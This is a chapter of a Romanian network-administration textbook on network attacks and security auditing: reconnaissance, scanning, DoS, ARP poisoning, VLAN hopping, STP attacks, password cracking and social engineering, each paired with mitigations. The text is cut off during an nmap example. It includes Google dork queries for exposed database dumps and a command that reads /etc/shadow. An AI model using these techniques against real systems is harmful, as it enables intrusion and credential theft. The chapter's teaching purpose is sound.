[1] RFC 2058 (RADIUS) http://www.ietf.org/rfc/rfc2058.txt [2] RFC 2865 (RADIUS) http://www.ietf.org/rfc/rfc2865.txt [3] RFC 2866 (RADIUS Accounting) http://www.ietf.org/rfc/rfc2866.txt [4] http://networkradius.com/freeradius.html [5] RFC 2516 (PPPoE) http://www.ietf.org/rfc/rfc2516.txt [6] RFC 3748 (EAP) http://www.ietf.org/rfc/rfc3748.txt [7] RFC 1994 (CHAP) http://www.ietf.org/rfc/rfc1994.txt

13Atacuri de reea
Ce se nva n acest capitol? Cine este Johnny Long este un expert n securitatea calculatoarelor, fiind cunoscut pentru trecutul lui legat de modul n care compromitea servere din Internet folosind anumite criterii de cutare ale motorului Google. Aceast metod poart numele de Google hacking. Acesta mai este cunoscut i sub pseudonimul j0hnny sau j0hnnyhax. H.D. Moore este persoana care a proiectat i dezvoltat Metasploit, un framework complex pentru generarea atacurilor de reea. De asemenea este cunoscut pentru prezentrile de securitate pe care le ine, fiind eful departamentului de cercetare din cadrul Rapid7, companie care a preluat Metasploit, transformndu-l ntr-un produs. n capitolul Securitatea Reelei au fost prezentate conceptele de baz pentru a proteja o reea de atacurile externe. ntrebarea la care acest capitol dorete s rspund este legat de nivelul ncrederii n soluia implementat de un firewall. Cum putem garanta c reeaua este sigur? Tipuri de hackeri Fazele unui atac Tipuri de atacuri

13.1 Tipuri de hackeri


De-a lungul timpului principala metod prin care era securizat reeaua a fost una reactiv: se configureaz un firewall dup anumite cerine minime impuse de serviciile oferite. La un moment dat n timp, reeaua este spart, persoana responsabil cu administrarea reelei identificnd problema i configurnd o nou regul n firewall pentru a evita un nou atac de acelai tip. Acest proces este unul iterativ, neoferind anumite certitudini privind sigurana unei reele. Din cauza creterii complexitii atacurilor i a importanei informaiilor stocate digital, majoritatea companiilor s-au ndreptat spre un alt model de securizare a reelei, modelul proactiv. Pe lng echipa care se ocup de administrarea i proiectarea reelei, exist o nou echip ce se ocup cu stabilirea unor politici de securitate conforme cu standardele internaionale ISO27001 [1]. Stabilirea politicilor de securitate este doar un prim pas n construirea unei reele sigure. Modelul proactiv se refer n special la faptul c aceast nou echipa va realiza atacuri asupra propriei reele pentru a determina eventuale bree de securitate. Astfel nu se mai ateapt atacuri din exterior pentru a rezolva problemele de securitate, crend certitudinea unei reele sigure. n realizarea de atacuri este necesar cunoaterea pailor ce trebuie urmai i a aplicaiilor ce pot fi folosite pentru a ndeplini fiecare dintre acetia. Pentru a realiza ntr-un mod ct mai eficient un atac este foarte important cunoaterea mecanismelor prin care funcioneaz o reea (ex.: nvarea MAC-urilor de ctre switch, popularea tabelei ARP, etc). Dup cum s-a prezentat n paragraful anterior, nu doar persoanele ru intenionate realizeaz atacuri asupra unei reele, atacatorii clasificndu-se dup inteniile asociate. Astfel, printre cele mai importante categorii se numr: Black Hat, White Hat, Grey Hat i mai nou Elite hacker. Black Hat hacker este acea persoan care desfoar un atac asupra unei entiti (reea, server, calculator personal) pentru a obine beneficii n scop personal, fiind o form ilegal de atac. Persoanele din categoria White Hat hacker realizeaz atacuri asupra unei reele numai cu acordul proprietarului i numai cu scopul de a identifica eventuale vulnerabiliti ale acesteia. La grania

398 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e dintre cele dou tipuri prezentate pn acum se afl Grey Hat hacker-ul care realizeaz atacurile asupra unei reele fr tirea administratorului, dar n cazul unei reuite l notific pe acesta pentru a lua msurile necesare. Cea mai nou titulatur este cea de Elite hacker, din aceast categorie fcnd parte cei mai experimentai, vulnerabilitile noi descoperite fiind cunoscute de acetia.

13.2 Auditarea securitii reelei


n seciunea anterioar s-a artat c pentru a oferi certitudinea unei reele sigure trebuie s avem o abordare proactiv. Astfel, pentru a verifica securitatea unei reele (atac asupra reelei, sub sigla de White Hat) este important cunoaterea pailor ce trebuie urmrii pentru ca auditul securitii s descopere toate problemele prezente. Principalii pai care trebuie urmai sunt dup cum urmeaz: Recunoaterea reelei Scanarea i enumerarea Descoperirea vulnerabilitilor Exploatarea vulnerabilitilor

13.2.1 Recunoaterea reelei


Recunoaterea reelei se refer la obinerea de informaii despre reeaua atacat. Printre aceste informaii putem enumera: existena domeniilor asociate serverelor din reea, range-ul de IP-uri folosit, utilizatori ai reelei (profile de reele de socializare, adrese de e-mail). Un aspect foarte important legat de acest pas este faptul c nu interacionm cu inta. Dac tim un domeniu gzduit n reeaua respectiv putem afla folosind interogri DNS cu utilitarul dig (vezi seciunea Utilitare) informaii despre server-ul de e-mail folosit, adrese IP folosite pentru gzduire i serverul de DNS folosit. O dat ce am aflat IP-ul folosit, putem interoga baza de date public folosind comanda whois (vezi seciunea Utilitare) prin care aflm tot spaiul de adrese IP alocate i informaii despre persoana/compania ce a achiziionat acel range. O alt tehnic de recunoatere este Google hacking. Pornind de la considerentul c tim un domeniu gzduit n reeaua respectiv, putem cuta folosind motorul de cutare Google toate documentele gzduite pe acel server care pot fi accesate n mod direct (pentru domeniul pub.ro textul cutat este filetype:doc site:pub.ro). Deseori administratorii fac o copie a bazei de date ntrun director public. Folosind Google hacking putem gsi aceste fiiere cu textul de cutat: mysql dump filetype:sql. Pentru mai multe detalii despre cum putei construi expresii avansate de cutare putei consula [2]. Tehnicile pentru recunoaterea reelei prezentate mai sus pot fi folosite cnd suntem n exteriorul reelei. Dac se reuete conectarea la reeaua local (ex. printr-un wireless hotspot cu access liber), se poate folosi un sniffer (wireshark, tcpdump vezi capitolul Securizarea reelei) pentru a vedea pachetele ce circul prin reea. Astfel aflm clasele de IP-uri folosite i tipul lor (private sau publice).

13.2.2 Scanarea i enumerarea


Cunoscnd range-ul de IP-uri folosit de reeaua int, se dorete s se afle care din aceste IP-uri este folosit i ce servicii sunt rulate pe fiecare staie activ. Acest pas, numit i scanare i enumerare, se realizeaz cu un scanner, cel mai folosit n lumea securitii fiind nmap (vezi seciunea Utilitare). De cele mai multe ori, pentru fiecare serviciu aflm i versiunea acestuia, lucru care ne va ajuta n pasul urmtor al unui atac. Pentru mai multe detalii despre tehnica de scanare a unei reele se poate consulta lucrarea lui Kris KatterJohn, Port Scanning Techniques [13].

A u t e n t i f i c a r e |399

13.2.3 Descoperirea vulnerabilitilor


Dup ce s-au aflat staiile (serverele) active din reea i serviciile ce se ruleaz pe fiecare din ele, se dorete s se identifice vulnerabilitile fiecrui serviciu (descoperirea vulnerabilitilor). Acest lucru se poate realiza manual cutnd serviciul i versiunea aferent n baze de date publice [3] sau automat folosind aplicaii specializate. Cea mai cunoscut aplicaie de acest tip este Nessus [4] avnd o baz de date de peste 55000 de vulnerabiliti. Acesta are o interfa grafic foarte intuitiv, n care se configureaz clasa de IP-uri ce se dorete a fi scanat iar la finalul procesului se obine un raport detaliat privind fiecare serviciu i problemele de securitate asociate (vezi Fig. 13-1).

13-1 Nessus - descoperire vulnerabiliti Descoperirea vulnerabilitilor manual cutnd serviciul n baze de date publice are avantajul de a nu fi detectabil, dar este foarte lent. Descoperirea folosind aplicaii ce automatizeaz procesul este mult mai rapid, dar produce foarte mult zgomot (va lsa urme n log-urile sistemului pe care l scaneaz).

13.2.4 Exploatarea vulnerabilitilor


n cadrul ultimului pas din desfurarea unui atac se vor exploata vulnerabilitile gsite anterior. Cea mai popular suit de aplicaii care se folosete este Metasploit Framework [5]. Aceasta conine propria consol (msfconsole) care se poate integra cu Nessus, prelund din baza de date a acestuia IP-urile i serviciile vulnerabile. Pentru fiecare tip de vulnerabilitate, acesta are n baza lui de date segmente de cod binar specializat pe care l execut pentru a compromite acel serviciu. Se recomand folosirea integrat a lui Nessus cu Metasploit, ntruct folosirea direct a interfeei grafice Nessus consum foarte multe resurse i nu se pot prelua automat informaiile n Metasploit (vezi Scenariul 1 pentru un exemplu de atac).

13.3 Atacuri n reeaua local


n subcapitolul anterior, s-a artat care sunt paii necesari n vederea obinerii unui audit asupra securitii reelei, reeaua fiind privit din exterior, din perspectiva serviciilor pe care le ofer. Exploatnd vulnerabilitile acestor servicii, se obine accesul n reeaua local. Aici putem realiza diferite tipuri de atacuri n funcie de obiectivul dorit: atacuri de tip DoS atacuri de obinere a accesului

400 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

13.3.1 Atacuri de tip DoS


Atacurile de tip DoS (Denial of Service) se refer la blocarea funcionrii reelei sau a unui dispozitiv din reea, acesta nemaiputnd rspunde cererilor legitime. Acest tip de atac se realizeaz trimind un numr foarte mare de cereri ilegitime astfel nct procesarea cererilor normale este ncetinit sau oprit. Detectarea acestui tip de atac este foarte anevoioas ntruct nu se poate baza pe cmpuri specifice dintr-un pachet care s fie analizate i n funcie de acestea s se aplice anumite aciune. Modalitatea prin care se poate realiza o detecie empiric este prin stabilirea nivelului normal de trafic (octei pe secund, numr de pachete pe secund), iar depirea acestui nivel cu un anumit prag s fie catalogat drept un atac DoS, rezultnd n blocarea sursei. Un caz particular al atacului DoS este Distributed Denial of Service (DDoS), n care traficul anormal este generat din mai multe surse. Detecia acestui tip de atac este mai dificil ntruct pachetele care vin de la fiecare surs n parte sunt n pragul de normalitate, dar totalitatea acestora fac ca staia atacat s devin neresponsiv. Un lucru i mai grav este cnd toate acele conexiuni chiar sunt legitime. Se ntmpl foarte des acest lucru la magazine online cnd acestea au o zi special a promoiilor (e.g. Black Friday), din cauza numrului foarte mare de cereri de acces , serverele nu mai pot s rspund nici uneia dintre ele. n general echipamentul de interconectare la nivelul 2 al unei reele locale este switch-ul. Acesta este folosit n detrimentul hub-ului ntruct ofer o securitate sporit (pachete ajung doar la destinaia indicat, nu la toate staiile din reea) i un throughput mai bun (nu se ncarc reeaua cu pachete ce oricum vor fi aruncate de destinaie). Care este mecanismul prin care un switch ofer aceste avantaje? Dup cum s-a prezentat n capitolul Reele Ethernet, este folosit o tabel CAM n care este reinut corespondena ntre fiecare port i staiile destinaie de pe acel port, identificate printr-o adres MAC. Numrul de intrri dintr-o tabel CAM este limitat. Ce se ntmpl dac tabela CAM se umple? Switch-ul va funciona ca un hub, nemaifiind capabil sa nvee adrese MAC noi, astfel tot traficul destinat adreselor MAC nenvate va fi trimis pe toate porturile switch-ului (excepie fiind portul surs). Cum realizm un astfel de atac? Switch-ul nva adresele MAC pe baza portului surs: cnd primete un pachet, reine MAC-ul surs din antetul pachetului. Un atacator este suficient s genereze un numr foarte mare de pachete cu adrese MAC surs invalide, iar switch-ul le va nva pe toate, umplnd tabela CAM. Din acest moment, toate pachetele primite de switch-ul n cauz vor fi trimise pe toate porturile, crescnd artificial traficul n reea, ajungndu-se la situaii n care staiile s nu mai poat rspunde cererilor obinuite. Acest atac poate fi prevenit dac switch-ul respectiv permite configurarea unei limite de adrese MAC pe fiecare port (n general toate switchurile cu management permit acest lucru). Odat atins numrul maxim de MAC-uri acel port este blocat automat. La nivelul 2 obinem un atac de tip DoS prin umplerea tabelei CAM a unui switch. La nivelul 4, putem genera un atac de tip DoS n funcie de protocolul folosit. Vom prezenta n continuare dou tehnici folosind protocolul TCP i protocolul ICMP. n capitolul Securizarea reelei s-au prezentat paii necesari realizrii unei conexiuni TCP, trimindu-se 3 tipuri de pachete: SYN de la surs la destinaie (iniierea conexiunea), SYN+ACK de la destinaie la surs (acceptarea iniierii conexiunii) i un ACK de la surs la destinaie. Ce s-ar ntmpla dac nu am mai trimite ultimul ACK? Serverul ateapt dup acesta, rezultnd o conexiune ce poart numele de half-open pentru care serverul a alocat anumite resurse. Dac o persoan ru intenionat ar trimite multe astfel de cereri de conexiune, la un moment dat resursele serverului se vor epuiza, nemaifiind capabil s accepte cereri legitime. Acest atac poarte numele de TCP SYN flood i se poate preveni prin adugarea unui interval dup care o conexiune half-open devine invalid. n capitolul Reele IPv4 s-a prezentat noiunea de adres de broadcast. n momentul n care trimitem un pachet de tipul ICMP echo request folosind comanda ping ctre aceast adres, vom primi un pachet de tipul ICMP echo reply de la toate staiile active din reeaua respectiv. Un atacator ar putea crea un pachet avnd drept adresa IP surs, adresa staiei ce se dorete a fi atacat, iar n cmpul IP destinaie s pun adresa de broadcast. Staia pus ca surs a pachetului va

A u t e n t i f i c a r e |401 primi pachete de la toate staiile active din reea, iar dac reeaua este suficient de mare, staia atacat va deveni neresponsiv. Acesta este un atac de tip DDoS (pachetele vin de la mai multe surse) i poart numele de Smurf attack. Prevenirea atacului se poate realiza prin micorarea domeniului de broadcast folosind VLAN-uri i prin mprirea clasei de adrese IP prin subnetare.

13.3.2 Atacuri de obinere a accesului


n seciunea anterioar au fost descrise metode prin care componente ale reelei erau atacate cu scopul de a nu mai permite accesul legitim la acestea provocnd downtime (timp n care echipamentele nu rspund la cereri) ce se poate traduce n costuri substaniale. O alt form de atac este aceea prin care se obine acces la informaiile care circul prin reea.

Man in the Middle


Cel mai cunoscut atac de acest tip este Man in the Middle (MitM) n care traficul dintre dou entiti (gateway i staie) este interceptat i rutat ctre atacator. Un astfel de atac se poate obine prin coruperea tabelei ARP, ntruct protocolul ARP nu face autentificare. Tabela ARP se construiete pe baza adresei MAC surs i a IP-ului surs specificat n pachetul ARP.

IP B MAC C A C

Sw

B IP A MAC C

13-2 MitM ARP poisoining Se va considera situaia din Fig. 13-2. Staia A comunic cu staia B, fiecare din ele avnd n tabela lor ARP o asociere IP-MAC (staia A: IP B MAC B, staia B: IP A MAC A). Staia C dorete s intercepteze traficul dintre cele dou. Pentru a ndeplini acest lucru trimite un pachet ARP ctre staia A n care specific faptul c IP-ul B are MAC C. Staia A va nlocui intrarea din tabela ARP asociat staiei B (IP B MAC B) cu noua pereche (IP B MAC C) ntruct ntr-o tabel ARP nu pot exista dou intrri cu acelai IP. Acelai lucru se ntmpl i pentru staia B. n final, staia C trebuie s activeze rutarea pentru ca pachetele dintre cele dou staii s ajung la destinaie, s nu se opreasc n C. n acest moment, traficul schimbat ntre A i B va trece prin C, iar C-ul cu ajutorul unui sniffer (tcpdump) va putea analiza acest trafic. Acest atac de tip MitM poart numele de ARP Poisoning. Tot procesul de ARP poisoining poate fi automatizat folosind aplicaia Cain n Windows (http://thecybersaviours.com/arp-spoofing-with-cain-and-abel-practical-approach), iar n Linux folosind arpspoof. Acest atac poate fi limitat dac se izoleaz staiile reelei locale ntr-un VLAN separat de cel public (ex. wireless hot-spot gratuit sau laptop-uri ce se conecteaz direct la reeaua cablat).

402 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

VLAN Hopping
Atacul de tip MitM prezentat anterior se poate realiza numai dac atacatorul se afl n aceeai reea de nivel 2 cu staiile pentru care se dorete interceptarea traficului, ntruct pachete ARP circul doar n acelai domeniu de broadcast. Dup cum s-a precizat anterior, soluia const n crearea de VLAN-uri pentru a nu permite staiilor strine accesul n zona reelei locale cu informaii critice. n continuare se va prezenta un nou tip de atac prin care se pot trimite pachete n alt VLAN dect cel n s-a configurat portul switch-ului. Acest atac poart numele de VLAN Hopping i se poate realiza prin dou metode. Prima dintre acestea const n exploatarea unei opiuni a switchurilor cu management ce poart numele de Dynamic Trunking Protocol (DTP). Aceast facilitate vine activat pe toate porturile n setrile de fabric ale switch-ului i cu ajutorul acesteia se poate negocia n mod automat o legtur de trunchi cu switch-ul, putndu-se trimite pachete n oricare din VLAN-urile switch-ului adungnd tag-ul corespunztor la fiecare antet trimis (cadre 802.1Q). Fiind iniial creat pentru a uura munca admnistratorilor de reea, DTP-ul a introdus o important bre de securitate, iar pentru a preveni atacurile se recomand dezactivarea acestuia pe toate porturile oricrui switch introdus n reea. i mai mult, DTP este un protocol proprietar CISCO neputnd fi folosit la scar larg, astfel dezactivarea acestuia nu va aduce lipsuri n management-ul unei reelei. Cea de-a doua metod prin care se poate realiza un atac de tip VLAN Hopping se folosete de tehnica double tagging. Aceast tehnic este deseori folosit de Internet Service Provideri (ISP). Vom descrie n continuare conceptul de double tagging dup care modul n care poate fi folosit pentru a accesa VLAN-ul dorit. Un client dorete conectare a dou locaii ce se afl n zone teritoriale diferite (dou zone diferite ale unui ora, dou orae diferite, etc). ISP-ul poate oferi acest serviciu folosind propria reea de date, dar trebuie s separe traficul acestuia de traficul normal, alocnd un VLAN. n acest moment clientul poate comunica ntre cele dou locaii la nivelul 2 (practic cele dou locaii sunt n acelai domeniu de broadcast). Clientul are n cele dou locaii mai multe departamente i dorete separarea pe VLAN-uri n fiecare din locaii, iar staiile dintr-un VLAN s poat comunica n continuare ntre ele, indiferent de locaia n care se afl (o staie din VLAN-ul A din locaia X s poat comunica cu o staie din VLAN-ul A din locaia Y). Legturile ctre ISP vor fi configurate n mod trunchi n fiecare dintre cele 2 locaii, iar pachetele vor pleca cu tag-uri 802.1Q. Ce se va ntmpla cu pachetele n reeaua ISP-ului unde deja exist un antet 802.1Q cu VLAN-ul configurat de acesta? Pur i simplu se mai aduga nc un tag, dupa cel al ISP-ului, tehnica numinduse double tagging (IEEE802.1ad [6], informal numit i QinQ).

Sw1

Trunk VLAN nativ 10

Sw2

VLAN10

VLAN20

13-3 VLAN Hopping double tagging Vom considera scenariul din Fig. 13-3: staia A n VLAN-ul cu numrul 10 legat n switch-ul Sw1 i staia B n VLAN-ul 20 legat n switch-ul Sw2; ntre switch-uri exist o legtur de trunchi cu VLANul nativ 10. n topologia dat staia A nu poate comunica cu staia B. n capitolul Optimizarea reelei s-a prezentat faptul c un VLAN nativ configurat pe o legtur de trunchi face ca pachetele din acel VLAN s circule fr tag-uri 802.1Q, ca i cum ar fi un port n mod acces, dar numai pentru VLAN-ul

A u t e n t i f i c a r e |403 respectiv (n cazul de fa 10). Avnd aceste date, se va construi un pachet ce are 2 (dou) tag-uri 802.1Q: primul (cel mai din stnga, primul procesat) este cu valoarea VLAN-ului 10, iar al doilea cu valoarea 20. Acest pachet va fi acceptat de switch, ntruct nu exist nici un mecanism prin care s fie blocate pachetele ce circul cu tag-uri 802.1Q pe porturi acces. Switch-ul va inspecta pachetul i va observa VLAN-ul 10, iar nainte de a fi trimis pe legtura de trunchi, acest tag va fi eliminat (avem VLAN nativ 10, iar conform celor specificate anterior, toate pachetele din VLAN-ul nativ configurat vor circula fr tag pe aceast legtur). Pachetul va avea forma din Fig. 13-4 (pachetul reprezentat pe legtura dintre cele dou switch-uri), rmnnd doar cu un singur tag, cel de VLAN 20. Odat ajuns pachetul la Sw2, acesta va vedea tag-ul 802.1Q cu valoarea 20, l va elimina i va trimite pachetul ctre toate porturile din VLAN-ul 20, implicit i staiei B. Astfel s-a reuit trimiterea de trafic din VLAN-ul 10 n VLAN-ul 20. Acest lucru a fost posibil din cauz c legtura de trunchi avea configurat ca i VLAN nativ un VLAN folosit de utilizatorii reelei. n practic se recomand ca n VLAN-ul nativ s fie legate doar consolele echipamentelor reelei (switch-uri, routere). Acest VLAN mai poart i numele de VLAN de management.

....
Sw1

VLAN20

DATE
Sw2

Trunk VLAN nativ 10

VLAN10

VLAN20

.... A

VLAN10

VLAN20

DATE

....

DATE B

13-4 VLAN Hopping cadre transmise

Atacuri STP
n capitolul Reele Ethernet s-a pus problema crerii redundanei ntr-o reea. Din cauza modului n care funcioneaz o reea Ethernet, simpla creare de legturi noi, de back-up, nu era suficient, buclele rezultate ducnd la un atac de tip DoS. Pentru a rezolva problema s-a creat protocolul STP prin care se creaz o topologie virtual (un arbore) ce nu conine bucle, dezactivnduse anumite porturi. Topologia se va construi pe baza ID-ului trimis de fiecare switch n cadre speciale numite BPDU. Rdcina topologiei va fi reprezentat de un switch ales pe baza ID-ului minim, purtnd numele de root-bridge i prin care va trece tot traficul la un moment dat. Analiznd modul n care este ales root-bridge-ul, se poate identifica urmtoarea problem: nu se verific proveniena pachetelor BPDU i nici nu sunt criptate, oricine putnd trimite astfel de pachete invalide.

404 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Sw2

Sw3

Sw1

Sw4

13-5 Atac STP Considerm topologia din Fig. 13-5, n care Sw1 este root-bridge-ul ales. Dac se mai conecteaz un switch la aceast topologia (Sw4) care va trimite BPDU-uri ce conin ID-ul 1, acesta va deveni rootbridge-ul topologiei, tot traficul trecnd prin el. n acest moment se poate porni un sniffer (tcpdump) pentru a captura traficul realizat de staiile A i B. Acest atac se poate realiza folosind o staie cu sistemul de operare Linux i aplicaia Yersinia [7] care este capabil s genereze BPDU-uri configurate de ctre atacator. Atacul poate fi prevenit prin diferite tehnici cum ar fi RootGuard sau BPDU Guard. RootGuard va dezactiva porturile ce primesc BPDU-uri cu ID superior, dei s-a specificat c legtura respectiva nu va participa n alegerea root-bridge-ului, iar BPDU Guard dezactiveaz porturile configurate ca nefiind parte din topologia STP, n momentul n care se primesc pe acestea BPDU-uri (porturile ctre clienii reelei ar trebui configurate astfel).

Spargerea parolelor
Pn n acest punct s-a prezentat modul n care putem intercepta traficul din reeaua local, punndu-se problema extragerii informaiilor relevante cum ar fi credenialele de acces (user-ul i parola de acces la un serviciu). n cazul protocolului TELNET acestea circul n clar, inspectnd datele din pachet se poate afla cu uurin parola folosit pentru autentificare. Un exemplu de program care extrage automat parolele trimise n clar pe o interfa de reea este dsniff [8]. Ce facem n cazul n care avem parola criptat (hash-ul acesteia)? Exist mai multe tehnici de compromitere a acestora printre care: brute force dictionary attack cryptanalysis attack Spargerea parolelor prin brute force se realizeaz prin ncercarea tuturor combinaiilor posibile de caractere, obinerea rezultatului depinznd de lungimea parolei (eficient pentru parole de pn la 7-8 caractere). Dac parola folosit este un cuvnt comun, se recomand folosirea dicionarelor (dictionary attack set de cuvinte predefinit) prin care se testeaz toate cuvintele din dicionar i permutri simple ale acestora. O form mai avansat de compromitere a parolelor este reprezentat de folosirea criptanalizei (cryptanalysis attack) prin construirea unor baze de date cu intrri n care sunt asociate un hash precalculat i secvena de caractere care a fost criptat pentru a obine hash-ul respectiv. n aceast situaie se realizeaz un compromis ntre spaiul ocupat i timpul necesar decriptrii parolei (cu ct crete spaiul ocupat cu att scade timpul de calcul). Din cauz c aceste structuri ocup un spaiu considerabil, n practic sunt reinute doar anumite hash-uri de pornire purtnd numele de rainbow tables. Accesul la aceste tabele se face n general contra cost, dar exist baze de date publice cu astfel de tabele (ex. la adresa http://www.freerainbowtables.com - dimensiune aproximativ 4TB).

A u t e n t i f i c a r e |405 Pentru a preveni atacurile de spargerea a parolelor, se folosete tehnica salting -ului prin care parola se concateneaz cu un ir generat aleator nainte de a fi criptat. Un exemplu de astfel de caz se gsete n Linux, parolele fiind stocate n fiierul /etc/shadow sub forma:
root@HQ:~# cat /etc/shadow [...] mihai:$6$IXl2kRTj$ACQdLO0sBP6MkMiuPaNQNpjDqMq9famrTcLJ4RbZY30zMp9aZN/DKuwu.aMqeA4D77yKnlPkt .0eXw9tsySmC/:15937:0:99999:7::: [...]

Intrrile sunt separate de caracterul :. Prima intrare identific utilizatorul (mihai), iar a doua intrare este parola criptat. n parol, $ este un caracter special pe post de separator. Astfel 6 identific algoritmul de criptare (SHA-512), IXl2kRTj reprezint irul aleator folosit la criptarea parolei, iar toate caracterele dup ultimul $ reprezint parola criptat. Dup cum se poate observa salting-ul nu previne atacul asupra parolelor, doar crete complexitatea acestora i implicit timpul de decriptare. Pentru mai multe detalii privind spargerea parolelor se poate consula lucrarea Cracking Passwords a lui J. Dravet [12].

Social engineering
n pasul de recunoaterea reelei a fost dat ca exemplu utilitarul whois cu ajutorul cruia putem afla informaii despre deintorul clasei de IP-uri cum ar fi numele persoanei, adresa de coresponden (clasic i electronic) sau numrul de telefon. Aceste date pot fi folosite pentru a contacta persoana n cauz i a impersona o autoritate legitim cu scopul de a afla anumite date confideniale. De exemplu utilizatorului i este trimis un e-mail n care se afl un link ctre o pagin ce arat identic cu pagina companiei, cerndu-i s se autentifice i s completeze anumite date personale. Acel site nu este real, ci este reprodus de ctre atacator. n acest moment atacatorul a obinut credenialele de acces n baza de date a companiei folosind tehnica de social engineering. Aceasta nu are la baz tehnica de calcul, ci se bazeaz pe ncrederea dintre oameni. Din aceast cauz nu exist o reet prin care se poate opri acest tip de atac. n general companiile creaz reguli interne stricte privind conduita angajailor legat de divulgarea fr consimmnt a informaiilor critice, dar n continuare aproximativ jumtate dintre companii sunt inta unor astfel de atacuri (este cea mai grea component de controlat n asigurarea securitii unei reele) [9].

13.4 Utilitare
n acest subcapitol, se vor prezenta utilitare prin care: se realizeaz interogri DNS. se realizeaz interogri de informaii despre clasele de IP-uri. se scaneaz reeaua local cu scopul enumerrii serviciilor prezente.

13.4.1 Linux
dig
dig (domain information groper) este un utilitar prin care se pot interoga serverele DNS cu scopul de a afla informaii despre un domeniu (pasul de recunoatere dintr-un atac). Acesta primete ca parametri numele domeniului urmat de tipul interogrii (A, MX, NS). Pentru a obine server de e-mail asociat cu domeniul pub.ro se va face o interogare de tip MX:
root@HQ:~# dig pub.ro MX [...] ;; QUESTION SECTION: ;pub.ro. ;; ANSWER SECTION: pub.ro. pub.ro. 8201 8201 IN IN

IN MX MX

MX 50 relay.roedu.net. 5 mail.pub.ro.

406 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
;; AUTHORITY SECTION: pub.ro. pub.ro. pub.ro.

8201 8201 8201

IN IN IN

NS NS NS

pub2.pub.ro. pub.pub.ro. ns1.roedu.net.

Se observ 3 seciuni: Question Section cu interogarea fcut, Answer Section cu rspunsul primit i Authority Section n care sunt listate toate serverele DNS autoritare pentru domeniul pub.ro (rspund la cereri pentru acesta). n Answer Section se poate vedea c domeniul pub.ro are asociate dou servere de e-mail (mail.pub.ro i relay.roedu.net) cu prioritile aferente (5, respectiv 50 prioritatea mai mic este ncercat prima). Dac dorim s aflm IP-ul asociat unui nume de domeniu vom folosi o cerere de tip A, dup cum urmeaz:
root@HQ:~# dig www.pub.ro A [...] ;; QUESTION SECTION: ;www.pub.ro. ;; ANSWER SECTION: www.pub.ro. www.upb.ro. 261 261

IN IN IN

A CNAME A www.upb.ro. 141.85.166.61

n rspunsul primit de la serverul DNS observm c www.pub.ro este echivalent (CNAME cannonical name) cu www.upb.ro, iar cel din urm are adresa IP 141.85.166.61. Vom folosi aceast adres pentru a afla mai multe detalii despre reeaua ce gzduiete www.pub.ro.

whois
whois este un utilitar cu ajutorul cruia se poate interoga baza de date public de IP-uri, aflnd informaiile despre acestea cum ar fi: proprietarul, date despre proprietar, sistemul autonom pe care sunt rutate. Comanda primete ca argument IP-ul care se dorete a fi cutat. Se va face o cutare folosind IP-ul asociat domeniului www.pub.ro (141.85.166.61):
whois 141.85.166.61 % This is the RIPE Database query service. [...] inetnum: netname: descr: descr: [...] person: address: address: address: address: address: phone: fax-no: nic-hdl: mnt-by: source: 141.85.0.0 - 141.85.255.255 PUB-NET RoEduNet "Politehnica" University of Bucharest Mihai Barbulescu RoEduNet, Bucharest NOC 313 Splaiul Independentei, "Rectorat" Building, R506-507, sector 6, Bucharest ROMANIA +40-21-3171175 +40-21-3171175 MB6037-RIPE PUB-MNT RIPE # Filtered

% Information related to '141.85.0.0/16AS2614' route: descr: descr: origin: mnt-by: mnt-lower: source: 141.85.0.0/16 RoEduNet "Politehnica" University of Bucharest AS2614 PUB-MNT PUB-MNT RIPE # Filtered

Baza de date care a rspuns la cererea fcut este cea a RIPE [10] (se ocup de alocri de IP-uri n Europa, Asia Central i de Est). Proprietarul IP-ului interogat (141.85.166.61) este Universitatea Politehnica din Bucureti, iar reprezentantul este descris de cmpul person. Apar i detalii precum adresa i numrul de telefon. Nu n ultimul rnd se ofer informaii despre entitatea ce ruteaz aceast clas n internet (RoEduNet cu sistemul autonom numrul 2614 AS2614).

A u t e n t i f i c a r e |407

nmap
nmap este un utilitar cu ajutorul cruia se poate realiza etapa de scanare i enumerare a unui audit de securitate. Acesta este folosit pentru determinarea staiilor active dintr-o reea specificat, serviciile ce ruleaz pe aceste staii i versiunile acestora. Cea mai simpl metod prin care se pot afla staiile active este reprezentat de un ping scan realizat cu parametrul sP, fiind echivalent cu un script ce execut comanda ping pentru fiecare din IP-uri i le listeaz pe cele ce au rspuns la cereri:
root@HQ:~# nmap -sP 192.168.132.0/24 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:05 EDT Nmap scan report for 192.168.132.1 Host is up (0.00019s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.132.2 Host is up (0.00011s latency). MAC Address: 00:50:56:E9:8A:0A (VMware) Nmap scan report for 192.168.132.146 Host is up. Nmap scan report for 192.168.132.254 Host is up (0.00016s latency). MAC Address: 00:50:56:FA:A7:A8 (VMware) Nmap done: 256 IP addresses (4 hosts up) scanned in 4.43 seconds

Dup cum se observ, doar 4 din cele 256 de IP-uri sunt folosite la momentul scanrii n reea. Dup ce s-au aflat IP-urile active, se dorete s se afle serviciile ce ruleaz pe anumite staii, folosind parametrul -sV:
